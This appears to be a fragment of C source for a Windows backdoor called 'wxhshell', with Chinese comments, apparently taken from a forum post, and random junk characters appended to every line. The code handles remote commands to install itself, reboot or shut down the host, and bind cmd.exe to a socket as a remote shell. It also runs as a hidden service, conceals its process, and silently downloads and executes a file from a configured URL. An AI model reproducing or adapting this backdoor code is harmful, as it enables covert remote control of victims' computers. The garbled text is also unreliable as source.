    switch(cmd[0]) { NL"G2[e  
  )A8v];.]3  
  // 帮助 $jzFc!rs  
  case '?': { hZ$t$3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dp5cDF}l  
    break; ku&k'V  
  } HIvZQQW|  
  // 安装 j}JZ  
  case 'i': { q6d~V] 4:  
    if(Install()) _e<o7Y@_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T6BFX0$  
    else A#y@`} ]!'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n6Z|Q@F  
    break; Y3U9:VB  
    } +cu^%CXT  
  // 卸载 k!L@GQ  
  case 'r': { \?fIt?  
    if(Uninstall()) } p:%[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %&<LNEiUN  
    else (P|pRVO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !nf-}z e{  
    break; ?&+9WJ<M  
    } :!TI K1  
  // 显示 wxhshell 所在路径 FY3IUG  
  case 'p': { qSU| =  
    char svExeFile[MAX_PATH]; 2umv|]n+l|  
    strcpy(svExeFile,"\n\r"); #1nJ(-D+  
      strcat(svExeFile,ExeFile); 6p;m\  
        send(wsh,svExeFile,strlen(svExeFile),0); o*S"KX $  
    break; X[$++p .  
    } t#E}NR  
  // 重启 _GYMPq\%L#  
  case 'b': { 2-+f1,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aAt>QxGQW  
    if(Boot(REBOOT)) A<MtKb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `)$_YZq|SR  
    else { VR? ^HA9  
    closesocket(wsh); 19e8  
    ExitThread(0); Am4lEvb  
    } 6sfwlT  
    break; oYM3Rgxf9Q  
    } umEVy*hc  
  // 关机 9WG{p[  
  case 'd': { 9)dfL?x8V{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $% k1fa C  
    if(Boot(SHUTDOWN)) $4=f+ "z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RVw9Y*]b  
    else { 2'0K WYM  
    closesocket(wsh); uKr1Z2  
    ExitThread(0); SI:ifR&T  
    } mh/n.*E7  
    break; 4Ft1@  
    }  Ukz;0q  
  // 获取shell V4w=/e _  
  case 's': { 5`+5{p  
    CmdShell(wsh); ~%k?L4%  
    closesocket(wsh); ~p1EF;4#  
    ExitThread(0); uzr\oj+>  
    break; k=ytuV\  
  } o2H1N~e#c  
  // 退出 G@ \Pi#1  
  case 'x': { 32)tJ|m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J4$! 68  
    CloseIt(wsh); .^(/n9|o-  
    break; +C]&2zc.  
    } j{++6<tr  
  // 离开 ?X$, fQ#F|  
  case 'q': { y2L#:[8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }ut]\]b  
    closesocket(wsh); <U Zd;e@  
    WSACleanup(); m` AK~O2  
    exit(1); D=f7NVc>Q  
    break; : esg(  
        } YvL?j  
  } Y$>-%KcKeI  
  } bzpFbfb  
)eeN1G`rDE  
  // 提示信息 3 fj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p/6zEZ*  
} S^I,Iz+`S'  
  } Dr<='Ux[5  
k`KGB  
  return; m|tC24  
} DbI!l`Vn4  
v5}X+'  
// shell模块句柄 2 !1.E5.I  
int CmdShell(SOCKET sock) Rfb?f} j  
{ hS [SRa'.  
STARTUPINFO si; }j5 a[L  
ZeroMemory(&si,sizeof(si)); t0&@h\K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SuBeNA[&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IXLO>>`  
PROCESS_INFORMATION ProcessInfo; p&p.Q^"ok  
char cmdline[]="cmd";  gJN0!N'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {^)70Vz>PE  
  return 0; )KSoq/  
} K+\nC)oG  
AEirj /  
// 自身启动模式 3L>IX8_   
int StartFromService(void) '_s}o<  
{ {Bvj"mL]j  
typedef struct F?+3%>/A @  
{ iO w3MfO  
  DWORD ExitStatus; gbBy/_b  
  DWORD PebBaseAddress; W[bmzvJ_X  
  DWORD AffinityMask; !\ND(  
  DWORD BasePriority; V)M1YZV{  
  ULONG UniqueProcessId; 5X.ebd;PT  
  ULONG InheritedFromUniqueProcessId; +]xFoH  
}   PROCESS_BASIC_INFORMATION; %hS|68pN6  
e'*HS7g  
PROCNTQSIP NtQueryInformationProcess; Y qdWctUY  
>B -q@D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AIl4]F5I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~!iQ6N?PY  
B/f0P(7  
  HANDLE             hProcess; \p&~ ,%  
  PROCESS_BASIC_INFORMATION pbi; B1 0+*p(  
#^#Kcg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I`RBj`IF  
  if(NULL == hInst ) return 0; klOp ^w  
rnFM/GAy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kfb/n)b'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U'( sn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }ucIH@U{  
9-1#( Y6S  
  if (!NtQueryInformationProcess) return 0; \0;(VLN'U  
*O$CaAr\s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f|EUqu%E  
  if(!hProcess) return 0; i%Z2wP.o  
;^u*hZN[Up  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mdih-u(T|  
XE3aXK'R  
  CloseHandle(hProcess); 'm=*u SJK  
8OhDjWVJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7k%T<;V  
if(hProcess==NULL) return 0; .lG5=Th!  
PaB!,<A  
HMODULE hMod; *4Fr&^M\  
char procName[255]; -4#2/GXNO  
unsigned long cbNeeded; ^n.WZUk  
^H'a4G3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EpPf _ \o  
^4Am %yyT  
  CloseHandle(hProcess); `b5 @}',  
yBe d kj  
if(strstr(procName,"services")) return 1; // 以服务启动 we7c`1E  
.aOnGp  
  return 0; // 注册表启动 ,8G{]X)  
} Y(VJbm`  
x|64l`Vp(:  
// 主模块 B6P|Z%E;D6  
int StartWxhshell(LPSTR lpCmdLine) V}w;Y?] J  
{ a T  l c  
  SOCKET wsl; M[ 5[N{  
BOOL val=TRUE; xG&SX#[2  
  int port=0; +#J,BKul  
  struct sockaddr_in door; O;Y:uHf  
t=euE{c  
  if(wscfg.ws_autoins) Install(); K r`]_m  
4pU>x$3$  
port=atoi(lpCmdLine); D<{{ :7n  
!G5a*8]  
if(port<=0) port=wscfg.ws_port; &F$:Q:* *  
&:B<Q$g#  
  WSADATA data; B#%; Qc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V_n<?9^4  
X26   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f3*?MXxb16  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K!AAGj`  
  door.sin_family = AF_INET; /(C~~XP)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7sNw  
  door.sin_port = htons(port); qf)$$qi  
vC;]jJb:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'BMy8  
closesocket(wsl); %WFu<^jm  
return 1; S*)1|~pRvQ  
} E N^Uki`  
RuW!*LI  
  if(listen(wsl,2) == INVALID_SOCKET) { |dE -^"_  
closesocket(wsl); 'Yy&G\S  
return 1; !|?e7u7  
} ) iQ   
  Wxhshell(wsl); _>o-UBb4]T  
  WSACleanup(); /nx'Z0&+X  
:7N3N  
return 0; 8 (jUe  
wRNroQ  
} =dP{Gh  
?ne_m:J[  
// 以NT服务方式启动 2LY=D L7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !{^\1QK  
{ oSb, :^Wl  
DWORD   status = 0; >n5:1.g  
  DWORD   specificError = 0xfffffff; xom<P+M!|  
eBN)g^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _#$9 y1bd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bucR">_p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7Ob*Yv=[  
  serviceStatus.dwWin32ExitCode     = 0; u8zbYd3  
  serviceStatus.dwServiceSpecificExitCode = 0; \6|/RFT  
  serviceStatus.dwCheckPoint       = 0; ,FQdtNMap  
  serviceStatus.dwWaitHint       = 0;  0IM8  
'8FC<=+p[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }S_oH9A  
  if (hServiceStatusHandle==0) return; w[Gh+L30=5  
72oWhX=M%  
status = GetLastError(); 1m<RwI3s  
  if (status!=NO_ERROR) qUF'{K   
{ eKZ%2|+j!7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |w}w.%  
    serviceStatus.dwCheckPoint       = 0; 6`01EIk  
    serviceStatus.dwWaitHint       = 0; em@EDMvI  
    serviceStatus.dwWin32ExitCode     = status; jZfx Jm  
    serviceStatus.dwServiceSpecificExitCode = specificError; U$&hZ_A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iGXI6`F"  
    return; U4?(A@z9^  
  } m@Ev~~;  
/BKe+]dS*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7J$b$P0}  
  serviceStatus.dwCheckPoint       = 0; {0\,0*^p  
  serviceStatus.dwWaitHint       = 0; Y o0FUj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =(AtfW^H  
} mo]KCi  
79J-)e9  
// 处理NT服务事件,比如:启动、停止 1,y&d}GW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aiCFH_H4;L  
{ -l+P8:fL~  
switch(fdwControl) v"u^M-_  
{ kW=z+  
case SERVICE_CONTROL_STOP: P%pp )BS  
  serviceStatus.dwWin32ExitCode = 0; }WFf''Z-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $e%2t^ i.g  
  serviceStatus.dwCheckPoint   = 0; |V[9}E: h  
  serviceStatus.dwWaitHint     = 0; [K~]&  
  { ihL/n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 5\dl  
  } >gtQw!  
  return; ~IVd vm7  
case SERVICE_CONTROL_PAUSE: =x#FbvV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y[ reD  
  break; H!e 3~+)  
case SERVICE_CONTROL_CONTINUE: &`|:L(+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n ?[/ufl  
  break; Zzua17  
case SERVICE_CONTROL_INTERROGATE: &6 -k#r  
  break; X##1! ad  
}; !SOrCMHx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eZhPu'id\s  
} k ^'f[|}  
?q2j3e[>  
// 标准应用程序主函数 oj.A,Fh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x90*yaw>h  
{ :)f7A7:;  
_K9VMczj  
// 获取操作系统版本 qL5I#?OMkU  
OsIsNt=GetOsVer(); b}ODWdJ1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |8_JY2 R  
UAS@R`?cI  
  // 从命令行安装 Y+%sBqo @  
  if(strpbrk(lpCmdLine,"iI")) Install(); < O*6 T%;  
;d.K_P  
  // 下载执行文件 .uo.N   
if(wscfg.ws_downexe) { C=Fzu&N}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |C \}P  
  WinExec(wscfg.ws_filenam,SW_HIDE); *TW=/+j  
} KP;(Q+qTx  
Uh}seB#mJj  
if(!OsIsNt) { d87vl13  
// 如果时win9x,隐藏进程并且设置为注册表启动 PrQ?PvA<L  
HideProc(); vEM(bT=H  
StartWxhshell(lpCmdLine); Zx }&c |Q  
} D:\g,\Z  
else /h2b;"  
  if(StartFromService()) bte~c  
  // 以服务方式启动 XhzGLYb~I`  
  StartServiceCtrlDispatcher(DispatchTable); Rn%N&1 Ef  
else Ko>&)%))$X  
  // 普通方式启动 f67NWFX  
  StartWxhshell(lpCmdLine); 4o:hyh   
R$kpiqK  
return 0; =tTqN+4  
}
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只看该作者 1 发表于: 2006-10-10
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